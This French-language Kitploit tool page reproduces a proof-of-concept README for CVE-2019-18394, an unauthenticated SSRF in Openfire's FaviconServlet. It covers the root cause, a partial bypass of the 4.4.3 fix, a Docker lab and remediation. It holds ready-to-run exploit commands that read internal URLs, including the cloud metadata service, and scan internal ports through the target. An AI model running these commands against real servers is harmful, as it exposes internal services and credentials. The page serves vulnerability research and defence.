Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
openfire-ssrf-cve-2019-18394 — PoC pour CVE-2019-18394 : SSRF en lecture complète non authentifiée dans Openfire <= 4.4.2 FaviconServlet | Kitploit
Outils/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
ReconnaissanceScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubl0lsec/openfire-ssrf-cve-2019-18394

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

openfire-ssrf-cve-2019-18394

PoC pour CVE-2019-18394 : SSRF en lecture complète non authentifiée dans Openfire <= 4.4.2 FaviconServlet

Voir le dépôt
il y a 1 jourPas encore vérifié
Partager

CVE-2019-18394 : SSRF dans Openfire FaviconServlet

Server-Side Request Forgery non authentifiée dans Ignite Realtime Openfire 4.4.2 et versions antérieures (console d'administration, TCP 9090/9091 par défaut). Corrigée dans la 4.4.3 (ticket OF-1885).

  • Falsification de requête : le paramètre host est concaténé dans une URL sortante sans validation, de sorte que le serveur émet un HTTP GET choisi par l'attaquant.
  • Divulgation de la réponse : sur un HTTP 200, le corps brut de la ressource amont est renvoyé à l'appelant. Il s'agit d'une SSRF en lecture complète, pas d'une SSRF aveugle.
  • Aucune authentification : /getFavicon n'est pas protégé par le AuthCheckFilter de la console d'administration et répond même lorsque le serveur est encore dans son état de configuration initiale non configuré.

Tests autorisés uniquement. Tout ce qui suit cible un labo local que vous montez vous-même.

Cause racine

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2) :

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

Non authentifiée. Dans xmppserver/src/main/webapp/WEB-INF/web.xml, le filtre AuthCheck n'est mappé que sur *.jsp, PluginServlet et dwr-invoker. FaviconServlet est mappé sur le chemin simple /getFavicon, donc aucun filtre d'authentification ne s'exécute pour lui.

Chemin arbitraire, pas seulement hôte arbitraire. Le code code en dur le suffixe /favicon.ico. Terminer host par une chaîne de requête repousse ce suffixe dans une valeur de paramètre :

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

Le schéma est fixé à http://. Les cibles https:// ne sont pas directement joignables, mais le client de la servlet utilise LaxRedirectStrategy, donc un point de terminaison http qui redirige en 302 vers la suite l'est.

Le correctif 4.4.3 et ses limites

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() est ImageIO.read(bytes) != null, une vérification de contenu, pas une vérification de destination. Deux choses survivent au correctif :

  • La requête sortante falsifiée est toujours émise, donc la SSRF aveugle (scan de ports, interaction avec des services internes, pivots par redirection) fonctionne toujours sur la 4.4.3.
  • Toute réponse qui s'analyse comme une image est toujours renvoyée intégralement, et des octets arbitraires peuvent suivre les données de l'image, donc la divulgation en lecture complète sous forme d'image fonctionne toujours sur la 4.4.3.

Oracle de détection

  • Chaque résultat est un HTTP 200, donc le succès et l'échec ne diffèrent que par le corps. L'outil capture une signature d'échec en forçant deux requêtes garanties en échec (NXDOMAIN) et en les comparant. Le fichier sur disque /images/server_16x16.gif n'est pas utilisé comme référence : un serveur qui a échoué à le charger à l'initialisation renvoie à la place un corps d'échec vide, et la non-concordance des deux donne des résultats erronés.
  • La présence est confirmée structurellement : un échec répond 200 tandis qu'un chemin frère non mappé répond 404, ce qui distingue un vrai mapping FaviconServlet d'un catch-all.
  • FaviconServlet met en cache les succès et les échecs en se basant sur le host brut et court-circuite après deux échecs. L'outil ajoute un anti-cache unique cb= à chaque sonde afin que les exécutions répétées ne reçoivent pas de résultats obsolètes.

Utilisation

Bibliothèque standard Python 3, aucune dépendance.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Options : --callback-host (adresse vers laquelle la cible rappelle), --listen-bind / --listen-port (écouteur local), --marker-format gif (renvoie un contenu analysable comme image qui passe le filtre isImage() de la 4.4.3), --proxy, --json.

Codes de sortie : 0 ok, 1 découverte, 2 erreur ou non vulnérable, 3 non concluant.

Labo et résultats validés

Configuration Docker différentielle : 4.4.2 vulnérable (console sur :9090), 4.4.3 corrigée (sur :9092), et un service interne uniquement que l'hôte ne peut pas atteindre directement.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

Le nginx interne n'a pas de mappage de port hôte, donc une requête directe depuis l'hôte renvoie HTTP 000, mais Openfire peut l'atteindre. La lecture de son SECRET_FLAG prouve que la requête a franchi la frontière de confiance. Sur Docker Desktop, la cible atteint votre écouteur via host.docker.internal (passez-le à --callback-host). Sur Docker Linux natif, utilisez l'IP de passerelle docker0 ou omettez --callback-host pour l'autodétection.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Chaque callback est arrivé avec User-Agent: Apache-HttpClient/... (Java/...), confirmant que la requête provenait du propre client HTTP d'Openfire, et non de l'outil.

Note : le résultat gif confirme la SSRF en lecture complète mais ne distingue pas la 4.4.2 de la 4.4.3, puisque la divulgation sous forme d'image fonctionne sur les deux. Utilisez le marqueur texte par défaut pour distinguer l'avant-correctif de l'après-correctif.

read : la 4.4.2 a divulgué le SECRET_FLAG interne ; la 4.4.3 a retenu la page HTML mais a toujours renvoyé un .gif interne récupéré via l'astuce de chemin.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

Remédiation

Mettez à niveau vers Openfire 4.4.3 ou une version ultérieure. Le correctif isImage() n'arrête pas la requête sortante ni la divulgation sous forme d'image, donc lorsque la fonctionnalité de proxy de favicon n'est pas nécessaire, restreignez également les sorties réseau depuis l'hôte Openfire et placez la console d'administration (9090/9091) derrière des contrôles réseau.

Fichiers

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check écrit un enregistrement de preuve JSON lorsqu'on lui passe --json <file>.

Télécharger l’outil
CibleMarqueurCallbackCorps divulguéVerdictSortie
4.4.2 (vuln)textouioui, verbatimVULNERABLE (non corrigée)1
4.4.3 (corrigée)textouinon, retenu par isImage()PARTIALLY_MITIGATED (SSRF aveugle)1
4.4.3 (corrigée)gifouioui, image + texte de finVULNERABLE lecture complète (voir note)1
non-Openfire (nginx)n/an/an/apoint de terminaison absent2